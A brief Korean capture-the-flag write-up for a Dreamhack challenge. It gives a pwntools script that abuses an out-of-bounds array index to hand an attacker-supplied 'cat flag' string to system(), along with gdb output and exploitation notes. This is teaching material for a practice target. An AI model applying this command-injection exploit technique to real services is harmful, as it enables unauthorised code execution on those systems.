from pwn import*
p = remote("host1.dreamhack.games", 9225)
name = 0x804a0ac
payload = p32(name+4)
payload += "cat flag"
p.sendline(payload)
p.sendline("19")
p.interactive()
0x8048737 <main+108>: mov eax,DWORD PTR [eax*4+0x804a060]
0x804873e <main+115>: sub esp,0xc
0x8048741 <main+118>: push eax
=> 0x8048742 <main+119>: call 0x8048500 <system@plt>
0x8048747 <main+124>: add esp,0x10
0x804874a <main+127>: mov eax,0x0
0x804874f <main+132>: mov edx,DWORD PTR [ebp-0xc]
0x8048752 <main+135>: xor edx,DWORD PTR gs:0x14
Guessed arguments:
arg[0]: 0x6e69622f ('/bin')
scanf
로 받는 idx
값은 main + 108
의 eax
값입니다. 문제 코드 구조상 0x804a060
은 commend
배열입니다. 이때 19를 idx
에 넣으면 name
배열을 참조할 수 있게 되므로 이를 이용하면 됩니다.
유의점
PIE
가 없으므로name
의 주소를 그대로 쓸 수 있습니다.- 위
gdb
결과처럼name
시작주소에 바로 변조 문자열을 넣으면main+108
에서 값을 들고오므로 제대로 구할 수 없습니다.name[0]
에는 변조 문자열의 포인터 주소를 넣어줍시다.